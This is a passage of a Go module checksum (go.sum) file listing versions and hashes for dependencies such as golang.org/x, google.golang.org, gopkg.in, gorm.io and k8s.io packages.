golang.org/x/net v0.0.0-20190827160401-ba9fcec4b297/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20190923162816-aa69164e4478/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20191004110552-13f9640d40b9/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20200202094626-16171245cfb2/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20200324143707-d3edc9973b7e/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
golang.org/x/net v0.0.0-20201021035429-f5854403a974 h1:IX6qOQeG5uLjB/hjjwjedwfjND0hgjPMMyO1RoIXQNI=
golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20190227155943-e225da77a7e6/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9 h1:SQFwaSi55rU7vdNs9Yr0Z324VNlrF+0wMqRXT4St8ck=
golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sys v0.0.0-20170830134202-bb24a47a89ea/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20180823144017-11551d06cbcc/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20181026203630-95b1ffbd15a5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20181107165924-66b7b1311ac8/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20181116152217-5ac8a444bdc5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20181205085412-a5c9d58dba9a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190124100055-b90733256f2e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190209173611-3b5209105503/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190312061237-fead79001313/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190321052220-f7bb7a8bee54/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190422165155-953cdadca894/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190502145724-3ef323f4f1fd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190507160741-ecd444e8653b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190606165138-5da285871e9c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190616124812-15dcb6c0061f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190624142023-c5567b49c5d0/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190826190057-c7b8b68b1456/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190922100055-0a153f010e69/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190924154521-2837fb4f24fe/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20191008105621-543471e840be/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200122134326-e047566fdf82/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200124204421-9fbb57f87de9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210217105451-b926d437f341 h1:2/QtM1mL37YmcsT8HaDNHDgTqqFVw+zr8UzMiBVLzYU=
golang.org/x/sys v0.0.0-20210217105451-b926d437f341/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw=
golang.org/x/text v0.0.0-20160726164857-2910a502d2bf/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
golang.org/x/text v0.3.3 h1:cokOdA+Jmi5PJGXLlLllQSgYigAEfHXJAERHVMaCc2k=
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/time v0.0.0-20180412165947-fbb02b2291d2/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
golang.org/x/tools v0.0.0-20180221164845-07fd8470d635/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20181011042414-1f849cf54d09/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20181030221726-6c7e314b6563/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20190125232054-d66bd3c5d5a6/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20190206041539-40960b6deb8e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY=
golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
golang.org/x/tools v0.0.0-20190312151545-0bb0c0a6e846/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
golang.org/x/tools v0.0.0-20190312170243-e65039ee4138/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
golang.org/x/tools v0.0.0-20190328211700-ab21143f2384/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
golang.org/x/tools v0.0.0-20190425150028-36563e24a262/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q=
golang.org/x/tools v0.0.0-20190506145303-2d16b83fe98c/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q=
golang.org/x/tools v0.0.0-20190524140312-2c0ae7006135/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q=
golang.org/x/tools v0.0.0-20190606124116-d0a3d012864b/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=
golang.org/x/tools v0.0.0-20190614205625-5aca471b1d59/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=
golang.org/x/tools v0.0.0-20190617190820-da514acc4774/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=
golang.org/x/tools v0.0.0-20190621195816-6e04913cbbac/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=
golang.org/x/tools v0.0.0-20190624190245-7f2218787638/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=
golang.org/x/tools v0.0.0-20190628153133-6cdbf07be9d0/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=
golang.org/x/tools v0.0.0-20190816200558-6889da9d5479/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20190907020128-2ca718005c18/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20190911174233-4f2ddba30aff/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20190920225731-5eefd052ad72/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191012152004-8de300cfc20a/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191112195655-aa38f8e97acc/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191216052735-49a3e744a425/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/tools v0.0.0-20201202200335-bef1c476418a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 h1:go1bK/D/BFZV2I8cIQd1NKEZ+0owSTG1fDTci4IqFcE=
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
gonum.org/v1/gonum v0.0.0-20190331200053-3d26580ed485/go.mod h1:2ltnJ7xHfj0zHS40VVPYEAAMTa3ZGguvHGBSJeRWqE0=
gonum.org/v1/netlib v0.0.0-20190313105609-8cb42192e0e0/go.mod h1:wa6Ws7BG/ESfp6dHfk7C6KdzKA7wR7u/rKwOGE66zvw=
gonum.org/v1/netlib v0.0.0-20190331212654-76723241ea4e/go.mod h1:kS+toOQn6AQKjmKJ7gzohV1XkqsFehRA2FbsbkopSuQ=
google.golang.org/api v0.4.0/go.mod h1:8k5glujaEP+g9n7WNsDg8QP6cUVNI86fCNMcbazEtwE=
google.golang.org/api v0.7.0/go.mod h1:WtwebWUNSVBH/HAw79HIFXZNqEvBhG+Ra+ax0hx3E3M=
google.golang.org/api v0.8.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg=
google.golang.org/api v0.9.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg=
google.golang.org/api v0.13.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI=
google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM=
google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=
google.golang.org/appengine v1.5.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=
google.golang.org/appengine v1.6.1/go.mod h1:i06prIuMbXzDqacNJfV5OdTW448YApPu5ww/cMBSeb0=
google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc=
google.golang.org/genproto v0.0.0-20190307195333-5fe7a883aa19/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
google.golang.org/genproto v0.0.0-20190418145605-e7d98fc518a7/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
google.golang.org/genproto v0.0.0-20190425155659-357c62f0e4bb/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
google.golang.org/genproto v0.0.0-20190502173448-54afdca5d873/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
google.golang.org/genproto v0.0.0-20190626174449-989357319d63/go.mod h1:z3L6/3dTEVtUr6QSP8miRzeRqwQOioJ9I66odjN4I7s=
google.golang.org/genproto v0.0.0-20190801165951-fa694d86fc64/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc=
google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc=
google.golang.org/genproto v0.0.0-20190911173649-1774047e7e51/go.mod h1:IbNlFCBrqXvoKpeg0TB2l7cyZUmoaFKYIwrEpbDKLA8=
google.golang.org/genproto v0.0.0-20191108220845-16a3f7862a1a/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
google.golang.org/genproto v0.0.0-20200526211855-cb27e3aa2013 h1:+kGHl1aib/qcwaRi1CbqBZ1rk19r85MNUf8HaBghugY=
google.golang.org/genproto v0.0.0-20200526211855-cb27e3aa2013/go.mod h1:NbSheEEYHJ7i3ixzK3sjbqSGDJWnxyFXZblF3eUsNvo=
google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c=
google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38=
google.golang.org/grpc v1.21.1/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM=
google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg=
google.golang.org/grpc v1.23.1/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg=
google.golang.org/grpc v1.24.0/go.mod h1:XDChyiUovWa60DnaeDeZmSW86xtLtjtZbwvSiRnRtcA=
google.golang.org/grpc v1.27.0 h1:rRYRFMVgRv6E0D70Skyfsr28tDXIuuPZyWGMPdMcnXg=
google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=
google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8=
google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0=
google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM=
google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE=
google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo=
google.golang.org/protobuf v1.22.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
google.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
google.golang.org/protobuf v1.25.0 h1:Ejskq+SyPohKW+1uil0JJMtmHCgJPJ/qWTxr8qp+R4c=
google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c=
gopkg.in/DataDog/dd-trace-go.v1 v1.17.0/go.mod h1:DVp8HmDh8PuTu2Z0fVVlBsyWaC++fzwVCaGWylTe3tg=
gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw=
gopkg.in/asn1-ber.v1 v1.0.0-20181015200546-f715ec2f112d/go.mod h1:cuepJuh7vyXfUyUwEgHQXw849cJrilpS5NeIjOWESAw=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 h1:YR8cESwS4TdDjEe65xsg0ogRM/Nc3DYOhEAlW+xobZo=
gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/cheggaaa/pb.v1 v1.0.25/go.mod h1:V/YB90LKu/1FcN3WVnfiiE5oMCibMjukxqG/qStrOgw=
gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI=
gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys=
gopkg.in/gcfg.v1 v1.2.3/go.mod h1:yesOnuUOFQAhST5vPY4nbZsb/huCgGGXlipJsBn0b3o=
gopkg.in/inf.v0 v0.9.1/go.mod h1:cWUDdTG/fYaXco+Dcufb5Vnc6Gp2YChqWtbxRZE0mXw=
gopkg.in/ini.v1 v1.41.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k=
gopkg.in/ini.v1 v1.51.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k=
gopkg.in/ldap.v2 v2.5.0/go.mod h1:oI0cpe/D7HRtBQl8aTg+ZmzFUAvu4lsv3eLXMLGFxWk=
gopkg.in/natefinch/lumberjack.v2 v2.0.0/go.mod h1:l0ndWWf7gzL7RNwBG7wST/UCcT4T24xpD6X8LsfU/+k=
gopkg.in/resty.v1 v1.12.0/go.mod h1:mDo4pnntr5jdWRML875a/NmxYqAlA73dVijT2AXvQQo=
gopkg.in/square/go-jose.v2 v2.2.2/go.mod h1:M9dMgbHiYLoDGQrXy7OpJDJWiKiU//h+vD76mk0e1AI=
gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw=
gopkg.in/warnings.v0 v0.1.2/go.mod h1:jksf8JmL6Qr/oQM2OXTHunEvvTAsrWBLb6OOjuVWRNI=
gopkg.in/yaml.v2 v2.0.0-20170812160011-eb3733d160e7/go.mod h1:JAlM8MvJe8wmxCU4Bli9HhUf9+ttbYbLASfIpnQbh74=
gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.2.3/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.2.5/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=
gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gorm.io/driver/sqlite v1.1.4 h1:PDzwYE+sI6De2+mxAneV9Xs11+ZyKV6oxD3wDGkaNvM=
gorm.io/driver/sqlite v1.1.4/go.mod h1:mJCeTFr7+crvS+TRnWc5Z3UvwxUN1BGBLMrf5LA9DYw=
gorm.io/gorm v1.20.7/go.mod h1:0HFTzE/SqkGTzK6TlDPPQbAYCluiVvhzoA1+aVyzenw=
gorm.io/gorm v1.21.4 h1:J0xfPJMRfHgpVcYLrEAIqY/apdvTIkrltPQNHQLq9Qc=
gorm.io/gorm v1.21.4/go.mod h1:0HFTzE/SqkGTzK6TlDPPQbAYCluiVvhzoA1+aVyzenw=
gotest.tools v2.2.0+incompatible h1:VsBPFP1AI068pPrMxtb/S8Zkgf9xEmTLJjfM+P5UIEo=
gotest.tools v2.2.0+incompatible/go.mod h1:DsYFclhRJ6vuDpmuTbkuFWG+y2sxOXAzmJt81HFBacw=
honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg=
k8s.io/api v0.17.3/go.mod h1:YZ0OTkuw7ipbe305fMpIdf3GLXZKRigjtZaV5gzC2J0=
k8s.io/apiextensions-apiserver v0.17.3/go.mod h1:CJbCyMfkKftAd/X/V6OTHYhVn7zXnDdnkUjS1h0GTeY=
k8s.io/apimachinery v0.17.3/go.mod h1:gxLnyZcGNdZTCLnq3fgzyg2A5BVCHTNDFrw8AmuJ+0g=
k8s.io/apiserver v0.17.3/go.mod h1:iJtsPpu1ZpEnHaNawpSV0nYTGBhhX2dUlnn7/QS7QiY=
k8s.io/client-go v0.17.3/go.mod h1:cLXlTMtWHkuK4tD360KpWz2gG2KtdWEr/OT02i3emRQ=
k8s.io/code-generator v0.17.3/go.mod h1:l8BLVwASXQZTo2xamW5mQNFCe1XPiAesVq7Y1t7PiQQ=
k8s.io/component-base v0.17.3/go.mod h1:GeQf4BrgelWm64PXkIXiPh/XS0hnO42d9gx9BtbZRp8=
k8s.io/gengo v0.0.0-20190128074634-0689ccc1d7d6/go.mod h1:ezvh/TsK7cY6rbqRK0oQQ8IAqLxYwwyPxAX1Pzy0ii0=
k8s.io/gengo v0.0.0-20190822140433-26a664648505/go.mod h1:ezvh/TsK7cY6rbqRK0oQQ8IAqLxYwwyPxAX1Pzy0ii0=
k8s.io/klog v0.0.0-20181102134211-b9b56d5dfc92/go.mod h1:Gq+BEi5rUBO/HRz0bTSXDUcqjScdoY3a9IHpCEIOOfk=
k8s.io/klog v0.3.0/go.mod h1:Gq+BEi5rUBO/HRz0bTSXDUcqjScdoY3a9IHpCEIOOfk=
